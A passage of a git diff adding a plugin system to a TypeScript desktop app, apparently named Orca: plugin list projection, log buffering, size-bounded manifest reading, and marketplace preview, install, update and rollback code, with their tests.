+  } as unknown as PluginService
+}
+
+describe('buildPluginList consent identity', () => {
+  it('projects the exact current fingerprint for an optimistic consent write', async () => {
+    const plugin: ValidDiscoveredPlugin = {
+      pluginKey: 'orca-samples.demo',
+      rootDir: join(tmpdir(), 'plugins', 'demo'),
+      manifest,
+      consentFingerprint: 'sha256-current',
+      contentHash: null,
+      isDev: true
+    }
+
+    expect((await buildPluginList(serviceWith(plugin), emptyPluginLockfile()))[0]).toMatchObject({
+      pluginKey: plugin.pluginKey,
+      consentFingerprint: 'sha256-current',
+      status: 'pending'
+    })
+  })
+
+  it('projects supervised backoff as restarting instead of running', async () => {
+    const plugin: ValidDiscoveredPlugin = {
+      pluginKey: 'orca-samples.demo',
+      rootDir: join(tmpdir(), 'plugins', 'demo'),
+      manifest,
+      consentFingerprint: 'sha256-current',
+      contentHash: null,
+      isDev: true
+    }
+
+    expect(
+      (
+        await buildPluginList(
+          serviceWith(plugin, {
+            activation: 'approved',
+            worker: { state: 'restarting', restarts: 2 }
+          }),
+          emptyPluginLockfile()
+        )
+      )[0]
+    ).toMatchObject({ status: 'restarting', restarts: 2 })
+  })
+
+  it('does not attribute a shadowing dev plugin to the installed source', async () => {
+    const plugin: ValidDiscoveredPlugin = {
+      pluginKey: 'orca-samples.demo',
+      rootDir: join(tmpdir(), 'development', 'demo'),
+      manifest,
+      consentFingerprint: 'sha256-current',
+      contentHash: null,
+      isDev: true
+    }
+    const lock = {
+      version: 1 as const,
+      plugins: {
+        [plugin.pluginKey]: {
+          pluginKey: plugin.pluginKey,
+          version: '1.0.0',
+          source: { kind: 'git' as const, url: 'https://example.com/demo.git', ref: 'v1' },
+          resolvedCommit: 'a'.repeat(40),
+          contentHash: 'b'.repeat(64),
+          consentFingerprint: 'sha256-installed',
+          installedAt: 1
+        }
+      }
+    }
+
+    expect((await buildPluginList(serviceWith(plugin), lock))[0]).not.toHaveProperty('source')
+  })
+
+  it('does not expose an invalid development plugin absolute path as identity', async () => {
+    const invalid: InvalidDiscoveredPlugin = {
+      rootDir: join(tmpdir(), 'private', 'secret-plugin-path'),
+      error: 'missing orca-plugin.json',
+      isDev: true
+    }
+    const service = {
+      options: { getPluginConsents: () => ({}), getDisabledPlugins: () => [] },
+      getDiscovered: () => [invalid]
+    } as unknown as PluginService
+
+    const projected = (await buildPluginList(service, emptyPluginLockfile()))[0]!
+    expect(projected.pluginKey).toBe('invalid-development-plugin-1')
+    expect(projected.name).toBe('invalid-development-plugin-1')
+    expect(JSON.stringify(projected)).not.toContain(invalid.rootDir)
+  })
+
+  it('projects exact VM lifecycle commands for instructional consent', async () => {
+    const recipeManifest = pluginManifestSchema.parse({
+      ...manifest,
+      contributes: { vmRecipes: [{ path: 'recipes/cloud.json' }] }
+    })
+    const plugin: ValidDiscoveredPlugin = {
+      pluginKey: 'orca-samples.demo',
+      rootDir: join(tmpdir(), 'plugins', 'demo'),
+      manifest: recipeManifest,
+      consentFingerprint: 'sha256-current',
+      consentContentHash: 'a'.repeat(64),
+      contentHash: null,
+      isDev: true
+    }
+
+    expect(
+      (
+        await buildPluginList(
+          serviceWith(plugin, {
+            vmRecipes: [
+              {
+                pluginKey: plugin.pluginKey,
+                recipe: {
+                  id: 'cloud',
+                  name: 'Cloud',
+                  create: './create.sh',
+                  destroyDisabled: true
+                }
+              }
+            ]
+          }),
+          emptyPluginLockfile()
+        )
+      )[0]?.vmRecipes
+    ).toEqual([
+      {
+        id: 'cloud',
+        name: 'Cloud',
+        commands: [
+          { phase: 'create', command: './create.sh' },
+          { phase: 'destroy', command: 'none' }
+        ]
+      }
+    ])
+  })
+
+  it('projects command handlers and normalized keybindings for consent and dispatch', async () => {
+    const commandManifest = pluginManifestSchema.parse({
+      ...manifest,
+      contributes: {
+        commands: [{ id: 'tasks', title: 'Open Tasks', context: 'worktree', action: 'view.tasks' }],
+        keybindings: [{ command: 'tasks', key: 'mod+alt+t' }]
+      }
+    })
+    const plugin: ValidDiscoveredPlugin = {
+      pluginKey: 'orca-samples.demo',
+      rootDir: join(tmpdir(), 'plugins', 'demo'),
+      manifest: commandManifest,
+      consentFingerprint: 'sha256-current',
+      consentContentHash: 'a'.repeat(64),
+      contentHash: null,
+      isDev: true
+    }
+
+    expect(
+      (
+        await buildPluginList(
+          serviceWith(plugin, {
+            commands: [
+              {
+                pluginKey: plugin.pluginKey,
+                id: 'tasks',
+                title: 'Open Tasks',
+                context: 'worktree',
+                handler: { type: 'built-in', action: 'view.tasks' },
+                keybindings: [{ key: 'Mod+Alt+T', when: 'worktree' }]
+              }
+            ]
+          }),
+          emptyPluginLockfile()
+        )
+      )[0]?.commands
+    ).toEqual([
+      {
+        id: 'tasks',
+        title: 'Open Tasks',
+        context: 'worktree',
+        handler: { type: 'built-in', action: 'view.tasks' },
+        keybindings: [{ key: 'Mod+Alt+T', when: 'worktree' }]
+      }
+    ])
+  })
+})
diff --git a/src/main/plugins/plugin-list-projection.ts b/src/main/plugins/plugin-list-projection.ts
new file mode 100644
index 000000000..16d44935b
--- /dev/null
+++ b/src/main/plugins/plugin-list-projection.ts
@@ -0,0 +1,231 @@
+import {
+  PLUGIN_CAPABILITY_DESCRIPTIONS,
+  type PluginCapabilityKind
+} from '../../shared/plugins/plugin-capabilities'
+import { needsReconsent } from '../../shared/plugins/plugin-consent-state'
+import { pluginPanelTabKey } from '../../shared/plugins/plugin-manifest'
+import type { PluginLockfile } from '../../shared/plugins/plugin-install-lockfile'
+import { isInvalidDiscoveredPlugin } from './plugin-discovery'
+import type { PluginService } from './plugin-service'
+import { listPluginVmRecipeCommands } from '../../shared/plugins/plugin-vm-recipe-artifact'
+import type { PluginCommandAliasActionId } from '../../shared/plugins/plugin-command-actions'
+import {
+  isOfficialMarketplaceGitSource,
+  isOfficialOrganizationGitSource,
+  isOfficialPluginIdentity
+} from '../../shared/plugins/plugin-marketplace'
+import { mapWithConcurrency } from '../../shared/map-with-concurrency'
+
+const PLUGIN_LIST_PROJECTION_CONCURRENCY = 4
+
+/**
+ * Wire projection of installed plugins for the renderer and serve RPC.
+ * `invalid` = unreadable/failed manifest; `pending` = awaiting (re-)consent;
+ * `idle` = enabled with no worker running (lazy); `restarting` = waiting for
+ * supervised backoff; `errored` = crashed past the budget or failed to activate.
+ */
+
+export type PluginListPanelEntry = {
+  id: string
+  title: string
+  icon?: string
+  tabKey: `plugin:${string}`
+}
+
+export type PluginListStatus =
+  | 'running'
+  | 'restarting'
+  | 'idle'
+  | 'pending'
+  | 'disabled'
+  | 'errored'
+  | 'invalid'
+
+export type PluginListEntry = {
+  pluginKey: string
+  /** Opaque identity of the exact capabilities and worker tier shown for review. */
+  consentFingerprint: string | null
+  name: string
+  version: string
+  publisher: string
+  description?: string
+  status: PluginListStatus
+  needsReconsent: boolean
+  error?: string
+  isDev: boolean
+  official: boolean
+  bundled: boolean
+  capabilities: { kind: PluginCapabilityKind; description: string }[]
+  panels: PluginListPanelEntry[]
+  commands: {
+    id: string
+    title: string
+    context: 'global' | 'worktree'
+    handler: { type: 'built-in'; action: PluginCommandAliasActionId } | { type: 'worker' }
+    keybindings: { key: string; when: 'global' | 'worktree' }[]
+  }[]
+  hasWorker: boolean
+  vmRecipes: {
+    id: string
+    name: string
+    description?: string
+    commands: { phase: 'create' | 'suspend' | 'resume' | 'destroy'; command: string }[]
+  }[]
+  restarts: number
+  blockedByKillList?: { reason: string; advisoryUrl?: string }
+  source?: {
+    kind: 'local-path' | 'git' | 'marketplace' | 'bundled'
+    reference: string
+    resolvedCommit: string | null
+    contentHash: string
+    marketplace?: { reference: string; resolvedCommit: string }
+  }
+}
+
+export async function buildPluginList(
+  service: PluginService,
+  lock: PluginLockfile
+): Promise<PluginListEntry[]> {
+  const consents = {
+    pluginConsents: service.options.getPluginConsents(),
+    disabledPlugins: service.options.getDisabledPlugins()
+  }
+  return mapWithConcurrency(
+    service.getDiscovered(),
+    PLUGIN_LIST_PROJECTION_CONCURRENCY,
+    async (plugin, index): Promise<PluginListEntry> => {
+      if (isInvalidDiscoveredPlugin(plugin)) {
+        // Why: invalid dev paths can contain private absolute desktop paths;
+        // never project those as identity over desktop/serve transports.
+        const fallbackKey = plugin.pluginKey ?? `invalid-development-plugin-${index + 1}`
+        return {
+          pluginKey: fallbackKey,
+          consentFingerprint: null,
+          name: fallbackKey,
+          version: '0.0.0',
+          publisher: '',
+          status: 'invalid' as const,
+          needsReconsent: false,
+          error: plugin.error,
+          isDev: plugin.isDev,
+          official: false,
+          bundled: false,
+          capabilities: [],
+          panels: [],
+          commands: [],
+          hasWorker: false,
+          vmRecipes: [],
+          restarts: 0
+        }
+      }
+      const activation = service.activationState(plugin)
+      const worker = service.workerState(plugin.pluginKey)
+      const activationError = service.activationError(plugin.pluginKey)
+      const killListEntry = service.options.getPluginKillListEntry?.(plugin.pluginKey) ?? null
+      let status: PluginListStatus
+      if (activation === 'disabled') {
+        status = 'disabled'
+      } else if (activation === 'pending') {
+        status = 'pending'
+      } else if (worker.state === 'errored' || activationError) {
+        status = 'errored'
+      } else if (worker.state === 'restarting') {
+        status = 'restarting'
+      } else {
+        status = worker.state === 'running' ? 'running' : 'idle'
+      }
+      const candidateLockEntry = lock.plugins[plugin.pluginKey]
+      // Why: never show provenance for bytes other than the current executable
+      // identity. Dev overrides execute outside the immutable installed tree and
+      // must never inherit the shadowed install's pinned-source attribution.
+      const lockEntry =
+        candidateLockEntry &&
+        !plugin.isDev &&
+        plugin.contentHash !== null &&
+        candidateLockEntry.contentHash === plugin.contentHash
+          ? candidateLockEntry
+          : undefined
+      const bundled = lockEntry?.source.kind === 'bundled'
+      const official =
+        bundled ||
+        (lockEntry?.source.kind === 'marketplace' &&
+          isOfficialPluginIdentity(plugin.pluginKey) &&
+          isOfficialMarketplaceGitSource(lockEntry.source.marketplace.url) &&
+          isOfficialOrganizationGitSource(lockEntry.source.plugin.url))
+      return {
+        pluginKey: plugin.pluginKey,
+        consentFingerprint: plugin.consentFingerprint,
+        name: plugin.manifest.name,
+        version: plugin.manifest.version,
+        publisher: plugin.manifest.publisher,
+        ...(plugin.manifest.description ? { description: plugin.manifest.description } : {}),
+        status,
+        needsReconsent: needsReconsent(plugin.pluginKey, plugin.consentFingerprint, consents),
+        ...(status === 'errored'
+          ? { error: activationError ?? 'plugin worker crashed repeatedly' }
+          : {}),
+        isDev: plugin.isDev,
+        official,
+        bundled,
+        capabilities: plugin.manifest.capabilities.map((capability) => ({
+          kind: capability.kind,
+          description: PLUGIN_CAPABILITY_DESCRIPTIONS[capability.kind]
+        })),
+        panels: plugin.manifest.contributes.panels.map((panel) => ({
+          id: panel.id,
+          title: panel.title,
+          ...(panel.icon ? { icon: panel.icon } : {}),
+          tabKey: pluginPanelTabKey(plugin.pluginKey, panel.id)
+        })),
+        commands: service.contentPacks.commands.preview(plugin.pluginKey).map((command) => ({
+          id: command.id,
+          title: command.title,
+          context: command.context,
+          handler: command.handler,
+          keybindings: command.keybindings
+        })),
+        hasWorker: Boolean(plugin.manifest.main),
+        vmRecipes: service.contentPacks.vmRecipes.preview(plugin.pluginKey).map(({ recipe }) => ({
+          id: recipe.id,
+          name: recipe.name,
+          ...(recipe.description ? { description: recipe.description } : {}),
+          commands: listPluginVmRecipeCommands(recipe)
+        })),
+        restarts: worker.restarts,
+        ...(killListEntry
+          ? {
+              blockedByKillList: {
+                reason: killListEntry.reason,
+                ...(killListEntry.advisoryUrl ? { advisoryUrl: killListEntry.advisoryUrl } : {})
+              }
+            }
+          : {}),
+        ...(lockEntry
+          ? {
+              source: {
+                kind: lockEntry.source.kind,
+                reference:
+                  lockEntry.source.kind === 'local-path'
+                    ? lockEntry.source.path
+                    : lockEntry.source.kind === 'git'
+                      ? lockEntry.source.url
+                      : lockEntry.source.kind === 'marketplace'
+                        ? lockEntry.source.plugin.url
+                        : `bundled:${lockEntry.source.bundleId}`,
+                resolvedCommit: lockEntry.resolvedCommit,
+                contentHash: lockEntry.contentHash,
+                ...(lockEntry.source.kind === 'marketplace'
+                  ? {
+                      marketplace: {
+                        reference: lockEntry.source.marketplace.url,
+                        resolvedCommit: lockEntry.source.marketplace.resolvedCommit
+                      }
+                    }
+                  : {})
+              }
+            }
+          : {})
+      }
+    }
+  )
+}
diff --git a/src/main/plugins/plugin-log-buffer.ts b/src/main/plugins/plugin-log-buffer.ts
new file mode 100644
index 000000000..54fbdcd83
--- /dev/null
+++ b/src/main/plugins/plugin-log-buffer.ts
@@ -0,0 +1,20 @@
+export type PluginLogLine = { ts: number; level: 'info' | 'warn' | 'error'; line: string }
+
+const LOG_RING_LIMIT = 200
+
+export class PluginLogBuffer {
+  private readonly logs = new Map<string, PluginLogLine[]>()
+
+  get(pluginKey: string): PluginLogLine[] {
+    return this.logs.get(pluginKey) ?? []
+  }
+
+  append(pluginKey: string, level: PluginLogLine['level'], line: string): void {
+    const ring = this.logs.get(pluginKey) ?? []
+    ring.push({ ts: Date.now(), level, line })
+    if (ring.length > LOG_RING_LIMIT) {
+      ring.splice(0, ring.length - LOG_RING_LIMIT)
+    }
+    this.logs.set(pluginKey, ring)
+  }
+}
diff --git a/src/main/plugins/plugin-manifest-file.ts b/src/main/plugins/plugin-manifest-file.ts
new file mode 100644
index 000000000..68b01dfe1
--- /dev/null
+++ b/src/main/plugins/plugin-manifest-file.ts
@@ -0,0 +1,22 @@
+import { createReadStream } from 'node:fs'
+import { join } from 'node:path'
+import { PLUGIN_MANIFEST_FILENAME } from '../../shared/plugins/plugin-manifest'
+
+/** A manifest is startup metadata, not an artifact payload. Bounding it keeps
+ * discovery and install preview from allocating an attacker-sized JSON file. */
+export const PLUGIN_MANIFEST_MAX_BYTES = 1024 * 1024
+
+export async function readPluginManifestText(rootDir: string): Promise<string> {
+  const chunks: Buffer[] = []
+  let totalBytes = 0
+  const stream = createReadStream(join(rootDir, PLUGIN_MANIFEST_FILENAME))
+  for await (const chunk of stream) {
+    const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
+    totalBytes += bytes.byteLength
+    if (totalBytes > PLUGIN_MANIFEST_MAX_BYTES) {
+      throw new Error(`${PLUGIN_MANIFEST_FILENAME} exceeds ${PLUGIN_MANIFEST_MAX_BYTES} bytes`)
+    }
+    chunks.push(bytes)
+  }
+  return Buffer.concat(chunks, totalBytes).toString('utf8')
+}
diff --git a/src/main/plugins/plugin-marketplace-error-message.ts b/src/main/plugins/plugin-marketplace-error-message.ts
new file mode 100644
index 000000000..d82903692
--- /dev/null
+++ b/src/main/plugins/plugin-marketplace-error-message.ts
@@ -0,0 +1,3 @@
+export function pluginMarketplaceErrorMessage(error: unknown): string {
+  return error instanceof Error ? error.message : String(error)
+}
diff --git a/src/main/plugins/plugin-marketplace-fetch.ts b/src/main/plugins/plugin-marketplace-fetch.ts
new file mode 100644
index 000000000..d035841eb
--- /dev/null
+++ b/src/main/plugins/plugin-marketplace-fetch.ts
@@ -0,0 +1,63 @@
+import { createReadStream } from 'node:fs'
+import { mkdtemp, rm } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import {
+  PLUGIN_MARKETPLACE_FILENAME,
+  pluginMarketplaceSchema,
+  type PluginMarketplace
+} from '../../shared/plugins/plugin-marketplace'
+import { checkoutPluginGitSource } from './plugin-git-repository'
+import type { PluginMarketplaceRegisteredSource } from './plugin-marketplace-store'
+
+const MARKETPLACE_INDEX_MAX_BYTES = 16 * 1024 * 1024
+
+export type PluginMarketplaceFetchResult = {
+  marketplaceCommit: string
+  marketplace: PluginMarketplace
+}
+
+/** Fetches a marketplace through system Git so private repositories use the
+ * same SSH agent and credential helpers as every other Orca Git operation. */
+export async function fetchPluginMarketplace(
+  source: PluginMarketplaceRegisteredSource
+): Promise<PluginMarketplaceFetchResult> {
+  const stagingDirectory = await mkdtemp(join(tmpdir(), 'orca-plugin-marketplace-'))
+  try {
+    const marketplaceCommit = await checkoutPluginGitSource({
+      url: source.source.url,
+      ref: source.source.ref,
+      destination: stagingDirectory,
+      workingDirectory: tmpdir()
+    })
+    const marketplace = await readPluginMarketplaceIndex(stagingDirectory)
+    return { marketplaceCommit, marketplace }
+  } finally {
+    await rm(stagingDirectory, { recursive: true, force: true })
+  }
+}
+
+export async function readPluginMarketplaceIndex(
+  rootDirectory: string
+): Promise<PluginMarketplace> {
+  const path = join(rootDirectory, PLUGIN_MARKETPLACE_FILENAME)
+  const chunks: Buffer[] = []
+  let totalBytes = 0
+  for await (const chunk of createReadStream(path)) {
+    const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
+    totalBytes += bytes.byteLength
+    if (totalBytes > MARKETPLACE_INDEX_MAX_BYTES) {
+      throw new Error(`${PLUGIN_MARKETPLACE_FILENAME} exceeds its size limit`)
+    }
+    chunks.push(bytes)
+  }
+  try {
+    return pluginMarketplaceSchema.parse(
+      JSON.parse(Buffer.concat(chunks, totalBytes).toString('utf8'))
+    )
+  } catch (error) {
+    throw new Error(
+      `invalid ${PLUGIN_MARKETPLACE_FILENAME}: ${error instanceof Error ? error.message : String(error)}`
+    )
+  }
+}
diff --git a/src/main/plugins/plugin-marketplace-installer.test.ts b/src/main/plugins/plugin-marketplace-installer.test.ts
new file mode 100644
index 000000000..589a90699
--- /dev/null
+++ b/src/main/plugins/plugin-marketplace-installer.test.ts
@@ -0,0 +1,198 @@
+import { mkdir, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { PluginMarketplace } from '../../shared/plugins/plugin-marketplace'
+import { readPluginLockfile } from './plugin-install'
+import { PluginMarketplaceInstaller } from './plugin-marketplace-installer'
+import { PluginMarketplaceService } from './plugin-marketplace-service'
+
+const git = vi.hoisted(() => ({
+  checkout: vi.fn(),
+  version: '1.0.0',
+  publisher: 'community',
+  id: 'notes',
+  commit: 'a'.repeat(40),
+  payload: 'first'
+}))
+
+vi.mock('./plugin-git-repository', () => ({
+  checkoutPluginGitSource: git.checkout
+}))
+
+const roots: string[] = []
+
+async function tempRoot(): Promise<string> {
+  const root = await mkdtemp(join(tmpdir(), 'orca-marketplace-installer-'))
+  roots.push(root)
+  return root
+}
+
+function marketplace(): PluginMarketplace {
+  return {
+    name: 'Community',
+    owner: 'community',
+    plugins: [
+      {
+        id: 'community.notes',
+        source: {
+          kind: 'git',
+          url: 'https://github.com/community/notes.git',
+          ref: 'stable'
+        },
+        categories: ['productivity']
+      }
+    ]
+  }
+}
+
+async function writeCurrentPlugin(destination: string): Promise<void> {
+  await mkdir(destination, { recursive: true })
+  await writeFile(
+    join(destination, 'orca-plugin.json'),
+    JSON.stringify({
+      manifestVersion: 1,
+      id: git.id,
+      publisher: git.publisher,
+      name: 'Notes',
+      version: git.version,
+      engines: { orca: '>=1.0.0' },
+      pluginApi: 1,
+      capabilities: []
+    })
+  )
+  await writeFile(join(destination, 'payload.txt'), git.payload)
+}
+
+async function setup(): Promise<{
+  root: string
+  marketplace: PluginMarketplaceService
+  installer: PluginMarketplaceInstaller
+  sourceId: string
+}> {
+  const root = await tempRoot()
+  const service = new PluginMarketplaceService({
+    pluginsDataDir: join(root, 'plugins-data'),
+    fetcher: async () => ({ marketplaceCommit: 'f'.repeat(40), marketplace: marketplace() })
+  })
+  const added = await service.addSource({
+    kind: 'git',
+    url: 'https://github.com/community/plugins.git',
+    ref: 'main'
+  })
+  return {
+    root,
+    marketplace: service,
+    installer: new PluginMarketplaceInstaller({
+      marketplace: service,
+      userDataPath: root,
+      hostVersion: '1.4.0'
+    }),
+    sourceId: added.id
+  }
+}
+
+beforeEach(() => {
+  git.version = '1.0.0'
+  git.publisher = 'community'
+  git.id = 'notes'
+  git.commit = 'a'.repeat(40)
+  git.payload = 'first'
+  git.checkout.mockReset()
+  git.checkout.mockImplementation(async ({ destination }: { destination: string }) => {
+    await writeCurrentPlugin(destination)
+    return git.commit
+  })
+})
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('PluginMarketplaceInstaller', () => {
+  it('previews exact validated bytes and records marketplace provenance on install', async () => {
+    const { root, installer, sourceId } = await setup()
+
+    const preview = await installer.preview(sourceId, 'community.notes')
+    expect(preview).toMatchObject({
+      pluginKey: 'community.notes',
+      resolvedCommit: 'a'.repeat(40),
+      marketplaceCommit: 'f'.repeat(40),
+      manifest: { version: '1.0.0' }
+    })
+    const result = await installer.install(preview)
+
+    if (!result.ok) {
+      throw new Error(result.error)
+    }
+    expect(result).toMatchObject({ ok: true, resolvedCommit: 'a'.repeat(40) })
+    const lock = await readPluginLockfile(join(root, 'plugins'))
+    expect(lock.plugins['community.notes']?.source).toEqual({
+      kind: 'marketplace',
+      marketplace: {
+        url: 'https://github.com/community/plugins.git',
+        ref: 'main',
+        resolvedCommit: 'f'.repeat(40)
+      },
+      plugin: {
+        url: 'https://github.com/community/notes.git',
+        ref: 'stable'
+      }
+    })
+  })
+
+  it('requires a fresh review when the plugin ref moves after preview', async () => {
+    const { root, installer, sourceId } = await setup()
+    const preview = await installer.preview(sourceId, 'community.notes')
+    git.commit = 'b'.repeat(40)
+    git.version = '2.0.0'
+
+    await expect(installer.install(preview)).resolves.toEqual({
+      ok: false,
+      error: 'plugin source changed after preview; review the update again'
+    })
+    await expect(readFile(join(root, 'plugins', 'plugins.lock.json'))).rejects.toMatchObject({
+      code: 'ENOENT'
+    })
+  })
+
+  it('rejects a source whose manifest identity differs from its listing', async () => {
+    const { installer, sourceId } = await setup()
+    git.publisher = 'attacker'
+
+    await expect(installer.preview(sourceId, 'community.notes')).rejects.toThrow(
+      'attacker.notes does not match marketplace listing community.notes'
+    )
+  })
+
+  it('updates from recorded marketplace provenance and rolls back one immutable version', async () => {
+    const { root, installer, sourceId } = await setup()
+    const firstPreview = await installer.preview(sourceId, 'community.notes')
+    const firstInstall = await installer.install(firstPreview)
+    expect(firstInstall.ok).toBe(true)
+    if (!firstInstall.ok) {
+      return
+    }
+
+    git.commit = 'b'.repeat(40)
+    git.version = '2.0.0'
+    git.payload = 'second'
+    const updatePreview = await installer.previewInstalledUpdate('community.notes')
+    expect(updatePreview).toMatchObject({ resolvedCommit: 'b'.repeat(40) })
+    await expect(installer.install(updatePreview)).resolves.toMatchObject({
+      ok: true,
+      version: '2.0.0'
+    })
+
+    await expect(installer.rollback('community.notes')).resolves.toMatchObject({
+      ok: true,
+      version: '1.0.0',
+      contentHash: firstInstall.contentHash
+    })
+    const lock = await readPluginLockfile(join(root, 'plugins'))
+    expect(lock.plugins['community.notes']).toMatchObject({
+      version: '1.0.0',
+      resolvedCommit: 'a'.repeat(40)
+    })
+  })
+})
diff --git a/src/main/plugins/plugin-marketplace-installer.ts b/src/main/plugins/plugin-marketplace-installer.ts
new file mode 100644
index 000000000..179e68768
--- /dev/null
+++ b/src/main/plugins/plugin-marketplace-installer.ts
@@ -0,0 +1,164 @@
+import { mkdtemp, rm } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import type { PluginManifest } from '../../shared/plugins/plugin-manifest'
+import { getUserPluginsDir } from './plugin-discovery'
+import { checkoutPluginGitSource } from './plugin-git-repository'
+import {
+  installPluginFromMarketplace,
+  readPluginLockfile,
+  rollbackInstalledPlugin,
+  type PluginInstallResult
+} from './plugin-install'
+import { inspectPluginInstallTree } from './plugin-install-staging'
+import type {
+  PluginMarketplaceListing,
+  PluginMarketplaceService
+} from './plugin-marketplace-service'
+import { marketplaceSourceId } from './plugin-marketplace-store'
+
+export type PluginMarketplaceInstallPreview = {
+  marketplaceSourceId: string
+  marketplaceName: string
+  marketplaceOwner: string
+  marketplaceCommit: string
+  pluginKey: string
+  source: PluginMarketplaceListing['source']
+  resolvedCommit: string
+  contentHash: string
+  consentFingerprint: string
+  manifest: PluginManifest
+  official: boolean
+  bundled: boolean
+  blockedByKillList?: { reason: string; advisoryUrl?: string }
+}
+
+export type PluginMarketplacePreviewIdentity = Pick<
+  PluginMarketplaceInstallPreview,
+  'marketplaceSourceId' | 'marketplaceCommit' | 'pluginKey' | 'resolvedCommit'
+>
+
+export class PluginMarketplaceInstaller {
+  private readonly marketplace: PluginMarketplaceService
+  private readonly userDataPath: string
+  private readonly hostVersion: string
+  private readonly blockedPluginReason: (pluginKey: string) => string | null
+
+  constructor(options: {
+    marketplace: PluginMarketplaceService
+    userDataPath: string
+    hostVersion: string
+    blockedPluginReason?: (pluginKey: string) => string | null
+  }) {
+    this.marketplace = options.marketplace
+    this.userDataPath = options.userDataPath
+    this.hostVersion = options.hostVersion
+    this.blockedPluginReason = options.blockedPluginReason ?? (() => null)
+  }
+
+  async preview(
+    marketplaceSourceId: string,
+    pluginKey: string
+  ): Promise<PluginMarketplaceInstallPreview> {
+    const listing = await this.requireListing(marketplaceSourceId, pluginKey)
+    const stagingDirectory = await mkdtemp(join(tmpdir(), 'orca-plugin-marketplace-preview-'))
+    try {
+      const resolvedCommit = await checkoutPluginGitSource({
+        url: listing.source.url,
+        ref: listing.source.ref,
+        destination: stagingDirectory,
+        workingDirectory: tmpdir()
+      })
+      const inspection = await inspectPluginInstallTree({
+        rootDir: stagingDirectory,
+        hostVersion: this.hostVersion,
+        expectedPluginKey: pluginKey
+      })
+      if (!inspection.ok) {
+        throw new Error(inspection.error)
+      }
+      return {
+        marketplaceSourceId,
+        marketplaceName: listing.marketplaceName,
+        marketplaceOwner: listing.marketplaceOwner,
+        marketplaceCommit: listing.marketplaceCommit,
+        pluginKey,
+        source: listing.source,
+        resolvedCommit,
+        contentHash: inspection.contentHash,
+        consentFingerprint: inspection.consentFingerprint,
+        manifest: inspection.manifest,
+        official: listing.official,
+        bundled: listing.bundled,
+        ...(listing.blockedByKillList ? { blockedByKillList: listing.blockedByKillList } : {})
+      }
+    } finally {
+      await rm(stagingDirectory, { recursive: true, force: true })
+    }
+  }
+
+  async install(preview: PluginMarketplacePreviewIdentity): Promise<PluginInstallResult> {
+    const listing = await this.requireListing(preview.marketplaceSourceId, preview.pluginKey)
+    const blockedReason =
+      listing.blockedByKillList?.reason ?? this.blockedPluginReason(preview.pluginKey)
+    if (blockedReason) {
+      return { ok: false, error: `plugin is blocked by Orca's safety list: ${blockedReason}` }
+    }
+    if (listing.marketplaceCommit !== preview.marketplaceCommit) {
+      return { ok: false, error: 'marketplace changed after preview; review the plugin again' }
+    }
+    const sourceState = (await this.marketplace.listSources()).find(
+      (source) => source.id === preview.marketplaceSourceId
+    )
+    if (!sourceState) {
+      return { ok: false, error: 'marketplace source is no longer configured' }
+    }
+    return installPluginFromMarketplace({
+      pluginsDir: getUserPluginsDir(this.userDataPath),
+      hostVersion: this.hostVersion,
+      expectedPluginKey: preview.pluginKey,
+      expectedResolvedCommit: preview.resolvedCommit,
+      marketplace: {
+        url: sourceState.source.url,
+        ref: sourceState.source.ref,
+        resolvedCommit: preview.marketplaceCommit
+      },
+      plugin: { url: listing.source.url, ref: listing.source.ref },
+      blockedPluginReason: this.blockedPluginReason
+    })
+  }
+
+  async previewInstalledUpdate(pluginKey: string): Promise<PluginMarketplaceInstallPreview> {
+    const lock = await readPluginLockfile(getUserPluginsDir(this.userDataPath))
+    const entry = lock.plugins[pluginKey]
+    if (!entry || entry.source.kind !== 'marketplace') {
+      throw new Error(`plugin ${pluginKey} was not installed from a marketplace`)
+    }
+    const sourceId = marketplaceSourceId({
+      kind: 'git',
+      url: entry.source.marketplace.url,
+      ref: entry.source.marketplace.ref
+    })
+    return this.preview(sourceId, pluginKey)
+  }
+
+  async rollback(pluginKey: string): Promise<PluginInstallResult> {
+    return rollbackInstalledPlugin({
+      pluginsDir: getUserPluginsDir(this.userDataPath),
+      pluginKey,
+      hostVersion: this.hostVersion,
+      blockedPluginReason: this.blockedPluginReason
+    })
+  }
+
+  private async requireListing(
+    marketplaceSourceId: string,
+    pluginKey: string
+  ): Promise<PluginMarketplaceListing> {
+    const listing = await this.marketplace.findPlugin(marketplaceSourceId, pluginKey)
+    if (!listing) {
+      throw new Error(`plugin ${pluginKey} is not listed by marketplace ${marketplaceSourceId}`)
+    }
+    return listing
+  }
+}
diff --git a/src/main/plugins/plugin-marketplace-projection.ts b/src/main/plugins/plugin-marketplace-projection.ts
new file mode 100644
index 000000000..c411801d8
--- /dev/null
+++ b/src/main/plugins/plugin-marketplace-projection.ts
@@ -0,0 +1,33 @@
+import type {
+  PluginMarketplaceEntry,
+  PluginMarketplaceGitSource
+} from '../../shared/plugins/plugin-marketplace'
+
+export type PluginMarketplaceSourceState = {
+  id: string
+  source: PluginMarketplaceGitSource
+  addedAt: number
+  marketplace: {
+    name: string
+    owner: string
+    resolvedCommit: string
+    fetchedAt: number
+  } | null
+  stale: boolean
+  official: boolean
+  error?: string
+}
+
+export type PluginMarketplaceListing = {
+  marketplaceSourceId: string
+  marketplaceName: string
+  marketplaceOwner: string
+  marketplaceCommit: string
+  pluginKey: string
+  source: PluginMarketplaceEntry['source']
+  description?: string
+  categories: string[]
+  official: boolean
+  bundled: boolean
+  blockedByKillList?: { reason: string; advisoryUrl?: string }
+}
diff --git a/src/main/plugins/plugin-marketplace-provenance.ts b/src/main/plugins/plugin-marketplace-provenance.ts
new file mode 100644
index 000000000..fbef2ce69
--- /dev/null
+++ b/src/main/plugins/plugin-marketplace-provenance.ts
@@ -0,0 +1,27 @@
+import {
+  OFFICIAL_MARKETPLACE_OWNER,
+  isOfficialMarketplaceGitSource,
+  isOfficialOrganizationGitSource,
+  isReservedPluginIdentity
+} from '../../shared/plugins/plugin-marketplace'
+import type { PluginMarketplaceFetchResult } from './plugin-marketplace-fetch'
+import type { PluginMarketplaceRegisteredSource } from './plugin-marketplace-store'
+
